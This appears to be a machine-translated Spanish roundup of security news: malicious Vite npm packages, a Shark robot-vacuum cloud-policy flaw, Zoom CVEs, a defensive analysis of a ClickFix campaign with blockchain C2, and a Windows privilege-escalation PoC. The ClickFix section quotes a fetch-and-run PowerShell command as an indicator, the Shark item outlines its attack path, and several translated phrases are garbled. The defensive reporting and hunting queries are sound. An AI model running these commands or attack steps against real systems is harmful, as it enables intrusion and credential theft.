Investigadores de ciberseguridad han descubierto un grupo de siete paquetes npm maliciosos dirigidos al ecosistema de herramientas frontend de Vite como parte de un ataque a la cadena de suministro de software.
La campaña de paquetes maliciosos, cuyo nombre en código ViteVenom por Checkmarx, marca una expansión de velo de cadenaque se observó utilizando una infraestructura de comando y control (C2) basada en blockchain de cuatro niveles «sin precedentes» que abarca Tron, Aptos y Binance Smart Chain para ofrecer un shell inverso con capacidad de troyano de acceso remoto (RAT), recolección de credenciales, exfiltración de archivos e inyección persistente de puerta trasera.
«Esta táctica hace que desactivar o destruir la infraestructura C2 sea extremadamente difícil», dijo el investigador de Checkmarx Pavan Gudimalla en un análisis publicado el mes pasado. La actividad se ha atribuido a un actor de amenazas llamado SuccessKey, con evidencia de actividad maliciosa detectada ya el 27 de febrero de 2026, cuando se activaron las billeteras de criptomonedas vinculadas a ViteVenom.
Si bien los typosquats publicados en npm en relación con ChainVeil se hicieron pasar por bibliotecas para Tailwind, Sass, ORM y herramientas de limitación de velocidad, la última versión se centra específicamente en los desarrolladores que crean aplicaciones utilizando Vite JavaScript y la herramienta de compilación frontend.
La lista de paquetes identificados, publicada entre el 29 de junio y el 3 de julio de 2026, se encuentra a continuación:
@uw010010/vite-tree (1070 descargas)
@vite-tab/tab (289 Descargas)
@vite-ln/build-ts (252 Descargas)
@vite-mcp/vite-type (239 Descargas)
@vite-pro/vite-ui (200 descargas)
@vitets/vite-ts (194 Descargas)
@vite-ts/vite-ui (176 descargas)
Otra diferencia crucial entre los dos grupos es que, a diferencia de los typosquats sin alcance de ChainVeil (por ejemplo, «rate-limit-flexible»), ViteVenom hace uso de nombres de paquetes con alcance en un intento de hacerse pasar por el espacio de nombres «@vitejs/*» y darle una apariencia de legitimidad.
El aspecto principal que une las dos campañas es el uso de infraestructura compartida de nivel 2, que se utiliza para entregar el RAT. Específicamente, esto involucra la misma billetera Tron y las direcciones de la cuenta Aptos, que apuntan a la misma transacción Binance Smart Chain (BSC) que conduce al malware.
Como en el caso de ChainVeil, el código malicioso no se ejecuta en el momento de la instalación sino en el momento de la importación, lo que tiene como consecuencia limitar las detecciones de seguridad de los terminales. Actúa como un cargador al llegar a la infraestructura blockchain para obtener la siguiente etapa:
Consulta la cadena de bloques de Tron para conocer la última transacción de la billetera del atacante.
Decodifica e invierte el campo de datos de la transacción para obtener un hash de transacción BSC.
Consulta la transacción BSC para extraer la carga útil cifrada de su campo de entrada.
Descifre la carga útil utilizando una clave codificada.
«El atacante almacena punteros de carga útil como datos de transacciones en cadenas de bloques públicas en lugar de nombres de dominio que pueden ser incautados, lo que hace que la infraestructura sea casi imposible de derribar», explicó Gudimalla.
Si el método de recuperación de carga útil basado en Tron falla, el malware utiliza Aptos como respaldo. La carga útil, por su parte, consulta la cadena de bloques para recuperar la configuración C2 y un cargador de siguiente etapa responsable de lanzar la RAT. Al mismo tiempo, existe un mecanismo alternativo que recupera el RAT directamente del servidor C2 a través de HTTP, evitando por completo la cadena de bloques.
Se recomienda a los usuarios que hayan instalado los paquetes que los eliminen inmediatamente, auditen las dependencias, roten todas las credenciales y busquen modificaciones no autorizadas en los archivos .bashrc, .zshrc y .profile.
«Las diferencias a nivel superficial (diferentes nombres de paquetes, diferentes cuentas de mantenedor, diferentes billeteras de nivel 1, diferentes rutas de archivos maliciosos) son consistentes con cómo un solo operador compartimentaría múltiples pistas de distribución para limitar la exposición», dijo Checkmarx.
Retire el certificado del flash de un robot aspirador Shark RV2320EDUS y podrá ejecutar comandos raíz en los aspiradores Shark de otras personas en la misma región de AWS: mire la cámara, conduzca el robot, lea el mapa de la casa y tome la contraseña de Wi-Fi en texto plano.
Un investigador que publica bajo el nombre tokay0 poner el método en línea el lunes, después de haberlo probado sólo con aspiradoras que compró él mismo. El defecto no se solucionó entonces.
Dice que SharkNinja, la compañía detrás de las marcas de electrodomésticos Shark y Ninja, ha recibido su informe desde marzo.
La política adjunta a ese certificado nunca tuvo como alcance el dispositivo que lo posee. Preséntelo al corredor en la nube de Shark y el corredor aceptará todo lo que publique, dirigido a cualquier dispositivo al que sirva.
Sin corrupción de memoria, sin escalada de privilegios, sin contraseña que adivinar. El comando que se ejecuta es un campo normal en la sombra del dispositivo, el documento de estado por dispositivo que AWS mantiene en la nube.
Utilizando el certificado de un RV2320EDUS, el investigador se suscribió a $aws/things/# y observó el tráfico que cruzaba el corredor, recopilando números de serie a medida que avanzaba. La publicación funciona de la misma manera. La sombra lleva un campo Exec_Command que el demonio de administración appd lee y entrega a una función llamada ejecutar_command, que ejecuta cualquier cosa de menos de 1000 bytes a través de popen.
Envíe una actualización paralela que lleve ese campo al tema de un dispositivo. Si ese dispositivo implementa el controlador, ejecuta el comando.
Probó el camino entre modelos, colocando un proyectil inverso en un AV1102ARUS que compró simplemente como objetivo, y luego usó ese proyectil para obtener una transmisión en vivo de la cámara integrada del modelo mientras el robot conducía.
El certificado se quita con un destornillador. La placa base expone los pines UART, la consola U-Boot no solicita contraseña e init=/bin/sh en los argumentos de arranque lo lleva a un shell raíz, donde la clave por dispositivo y el certificado se encuentran en /mnt/res/vapp/certs/ como archivos normales.
Los certificados están fijados a su región de AWS, lo más parecido aquí a un límite: una clave levantada en una región solo llega a los dispositivos de esa región. Para llegar a otra región se necesita otro certificado, aprovisionado allí, y que lleva la misma política rota.
Amazon tiene una verificación de auditoría para esta forma de política exacta. Device Defender, el servicio de auditoría de flotas de IoT de AWS, marca políticas de dispositivos que permiten publicar o suscribirse en $aws/things/* en lugar de fijar el tema al dispositivo que se conecta con ${iot:Connection.Thing.ThingName}.
Aparece como IOT_POLICY_OVERLY_PERMISSIVE_CHECK y AWS lo califica como crítico, advirtiendo en su documentacion que un certificado comprometido que lleva dicha política permite a un atacante «leer o modificar sombras, trabajos o ejecuciones de trabajos para todos sus dispositivos».
No todos los certificados son una clave maestra. Un vacío cuyo certificado lleva la política rota es la clave de un atacante. Cualquier vacío que ejecute Exec_Command es un objetivo, independientemente de si su propio certificado tiene el alcance correcto o no. El AV1102ARUS es un destino y no una clave: su certificado tenía el alcance correcto y no se pudo realizar una suscripción comodín. Su firmware era varios años más nuevo.
Él lo interpreta como una solución de aprovisionamiento que nunca alcanzó los certificados de la flota más antigua. Es por eso que el modelo cruzado funcionó, y por qué su afirmación de que cada aspiradora Shark conectada a Internet es vulnerable debe dividirse en dos.
El titular de su publicación dice millones. La cifra que verificó es más estrecha. Al observar una región de AWS durante 24 horas, tokay0 contó 1.517.605 números de serie únicos de Shark, de los cuales 673.816, o el 44%, emitieron un Exec_Response, que considera como una confirmación de que el dispositivo ejecuta el controlador de comandos. Se trata de dispositivos observados respondiendo, no dispositivos probados o comprometidos, y dice que el número real probablemente sea mayor.
Cuatro meses y contando
Según el relato de la correspondencia de tokay0, se comunicó con SharkNinja el 1 de marzo y envió detalles el 11 de marzo. La compañía acusó recibo al día siguiente, le dijo el 27 de abril que el informe estaba bajo revisión y el 3 de julio dijo que enviaría una fecha de finalización confirmada para el viernes 10 de julio. No llegó ningún correo electrónico.
Lo publicó el 13 de julio. Dice que el proveedor minimizó la gravedad y cuestionó si «un CVE es apropiado».
En lo que respecta específicamente a los informes de IoT, SharkNinja publicó política de divulgación de vulnerabilidades compromete a la empresa a «proporcionar actualizaciones periódicas hasta que se resuelva la vulnerabilidad informada». La misma política pide a los investigadores que permanezcan en silencio hasta que la empresa confirme una solución o autorice la divulgación por escrito.
SharkNinja no había publicado nada sobre el defecto hasta el jueves. The Hacker News se comunicó con la compañía para comentar sobre el estado del parche y el cronograma de divulgación, y actualizará esta historia con cualquier respuesta.
Tampoco hay CVE. Le pidió una identificación al CNA de último recurso de MITRE, el asignador que maneja las vulnerabilidades que ningún proveedor cubre, el 11 de junio y no había escuchado nada cuando publicó. Sin identificador, sin CVSS, sin aviso: nada que un programa de gestión de vulnerabilidades pueda ingresar.
La solución está en el lado del servidor
La solución no la debe instalar el propietario. Vive en la cuenta AWS de SharkNinja, no en el firmware del robot. Según AWS guía de remediaciónuna política que no cumple se reemplaza al enviar una versión con alcance con CreatePolicyVersion y el indicador setAsDefault, lo que hace que esa versión sea operativa para todos los certificados que usan la política.
No se requiere implementación de firmware. Reemitir los certificados correctamente, algo que tokay0 recomendó en marzo, es el trabajo más largo que hay detrás.
Hasta que SharkNinja haga una u otra cosa, la única mitigación disponible para el propietario es desconectar la aspiradora del Wi-Fi. Esto pone fin al control de aplicaciones, la programación y los mapas, y convierte el producto nuevamente en un vacío.
tokay0 retuvo sus guiones mientras la falla esté activa. Consideró que sus otros hallazgos eran demasiado menores para escribirlos.
Tampoco examinó el resto de la línea conectada de SharkNinja, las parrillas inteligentes y las sondas inalámbricas para carne, que, según él, probablemente también sean vulnerables. Esos productos provienen de la misma empresa cuya política promete actualizaciones periódicas hasta que se resuelva una falla. Cuatro meses después, éste no lo es.
Zoom ha publicado actualizaciones de seguridad para una falla de seguridad crítica que afecta a Zoom Workplace para Windows y que podría facilitar la apropiación de cuentas.
La vulnerabilidad, rastreada como CVE-2026-53412 (Puntuación CVSS: 9,8), afecta a Zoom Desktop Client para Windows, Zoom VDI Client para Windows y Zoom Meeting SDK para Windows.
«La validación de entrada incorrecta en Zoom Desktop Client para Windows, Zoom VDI Client para Windows y Zoom Meeting SDK para Windows puede permitir que un usuario no autenticado realice una apropiación de cuenta a través del acceso a la red», Zoom dicho en un aviso publicado esta semana.
Las últimas correcciones de seguridad también abordan tres fallas de alta gravedad:
CVE-2026-53411 (Puntuación CVSS: 7,8): una vulnerabilidad de validación de entrada incorrecta en el complemento VDI de Zoom Workplace para Windows anterior a la versión 6.6.14 que puede permitir a un usuario autenticado realizar una escalada de privilegios a través del acceso local.
CVE-2026-53410 (Puntuación CVSS: 7.0): una vulnerabilidad de condición de carrera de tiempo de verificación a tiempo de uso (TOCTOU) en el proceso de instalación y desinstalación de ciertos clientes Zoom para Windows que podría permitir que un usuario local autenticado escale privilegios.
CVE-2026-53409 (Puntuación CVSS: 7,8): una vulnerabilidad de gestión de privilegios inadecuada en Zoom Rooms para Windows anterior a la versión 7.1.0 que puede permitir a un usuario autenticado realizar una escalada de privilegios a través del acceso local.
Vale la pena señalar que CVE-2026-53410 afecta a los siguientes productos:
Zoom Workplace para Windows antes de la versión 7.0.5
Cliente Zoom Workplace VDI para Windows anteriores a 6.5.17 y 6.6.14 en sus respectivas ramas
Complemento Zoom Workplace VDI para Windows anteriores a 6.5.17 y 6.6.14 en sus respectivas ramas
Zoom Rooms para Windows anteriores a 7.0.5
Control remoto para Zoom Contact Center para Windows anterior a la versión 7.0.0
Al momento de escribir este artículo, no hay indicios de que alguna de las fallas esté siendo explotada en ataques del mundo real. Los usuarios pueden mantenerse protegidos aplicando las últimas actualizaciones.
CIBER-TEC, En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).
Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.
1. El contexto y la anatomía de la cadena
Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.
La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.
2. ¿Qué es ClickFix? Mecánica y por qué funciona
ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.
El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.
El comando del portapapeles y el polimorfismo sintáctico
El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https:///dl/p/'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https:///dl/p/' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.
¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.
3. El actor y la estructura de afiliados (JokerStat MaaS)
Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.
La plataforma: JokerStat como kit MaaS
El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).
Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.
La post-explotación: solapamiento con Rapid Brigantine
La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.
4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon
Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.
Qué es EtherHiding y de dónde viene
EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.
Cómo funciona en esta campaña, paso a paso
El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.
Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.
Por qué importa: resiliencia frente a auditabilidad
El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.
Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.
El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.
5. Técnicas de evasión
Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.
Esteganografía en PNG y ejecución en memoria con Donut
El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.
DLL sideloading sobre binario firmado
El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.
Exfiltración de pantalla y reinyección dinámica del portapapeles
El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.
Polimorfismo, rotación y persistencia resistente al aislamiento
A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.
6. Post-explotación y staging pre-ransomware
La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.
7. Indicadores de compromiso (IoC)
Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.
__jks_screen_run_ (variable de guarda; marca del kit JokerStat)
Soporte del kit
Telegram @jokerstat_support
Payload PowerShell
iex(irm 'https:///dl/p/' -UseBasicParsing)
8. Mapeo a MITRE ATT&CK
Táctica
Técnica
Aplicación
Initial Access
T1189 Drive-by Compromise
Falsa actualización SocGholish en WordPress comprometido
Execution
T1204.004 · T1059.001
ClickFix → PowerShell ejecutado por la víctima
Defense Evasion
T1027.003 Steganography
Shellcode Donut oculto en píxeles de un PNG
Defense Evasion
T1574.002 DLL Side-Loading
Binario Microsoft firmado carga una DLL maliciosa
Defense Evasion
T1055 Process Injection
Ejecución del shellcode en memoria
Command & Control
T1102 · T1568 (EtherHiding)
Contrato en Polygon como dead-drop resolver + dominios rotatorios
Collection
T1113 Screen Capture
Exfiltración de pantalla con html2canvas cada 120 s
Collection / Exec
T1115 Clipboard Data
Inyección y reescritura dinámica del portapapeles
Credential Access
T1003.001 LSASS Memory
Volcado de credenciales del proceso LSASS
Discovery
T1018 · T1069 (LDAP)
Enumeración de administradores de dominio y equipos
Impact (staging)
T1486 (preparación)
Auto-replicación y preparación del cifrado
9. Recomendaciones de protección
Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.
C1 — Cortar el eslabón humano en el endpoint
Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.
C2 — Gobernar el egress y vigilar la resolución en blockchain
La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.
C3 — Endurecer el endpoint contra la evasión en memoria
Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.
C4 — Redefinir la contención en respuesta a incidentes
Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.
C5 — Cazar la actividad post-explotación como red de seguridad
Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.
10. Detección e ingeniería de cacería
La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.
// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
KQL · Egress hacia RPC de blockchain desde procesos no-navegador
// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
"onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl
KQL · Acceso sospechoso a LSASS
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath
Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.
Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.
La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.
Fuentes y referencias
Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
investigador de seguridad Eclipse caótico (también conocido como Pesadilla-Eclipse) tiene liberado un nuevo exploit de prueba de concepto (PoC) llamado LegacyHive.
Se ha descrito como una vulnerabilidad de elevación de privilegios de carga de colmena arbitraria del Servicio de perfiles de usuario de Windows. El Servicio de perfiles de usuario de Windows, también conocido como ProfSvc, es un componente central del sistema que administra entornos y cuentas de usuario.
«La PoC requiere otra credencial de usuario estándar y un tercer nombre de usuario (que puede ser una cuenta de administrador)», Chaotic Eclipse dicho. «Si la prueba de concepto tiene éxito, terminará montando la colmena de usuarios de destino en la raíz de clases de usuarios actuales».
El investigador dijo que el exploit fue eliminado para evitar la explotación pública, añadiendo que el exploit original no requería credenciales de usuario adicionales y no se limitaba a la colmena «usrclass.dat».
«Cualquier colmena podría cargarse utilizando esta vulnerabilidad, pero se necesitarían algunas células cerebrales para que el PoC lo hiciera», señaló el investigador.
Lo que lo hace notable es que es funcional en todas las versiones de escritorio y servidor compatibles de Windows, incluidas aquellas que ejecutan la última actualización del martes de parches de julio de 2026.
Chaotic Eclipse y Microsoft han estado envueltos en una acalorada disputa desde al menos abril de 2026, y el investigador publicó detalles de múltiples exploits antes de que el fabricante de Windows tuviera la oportunidad de parchearlos, citando una falla en la comunicación. Tres de las vulnerabilidades de Microsoft Defender fueron explotadas activamente poco después de su divulgación pública.
A principios de este mes, el gigante tecnológico publicó actualizaciones de seguridad para otra vulnerabilidad de Defender conocida como RoguePlanet que fue revelada por el investigador. Sin embargo, resultó que las «actualizaciones de defensa en profundidad» recientemente introducidas para abordar la falla pueden hacer que Microsoft Defender filtre 8 bytes de datos al intentar abrir un archivo en ciertos escenarios.
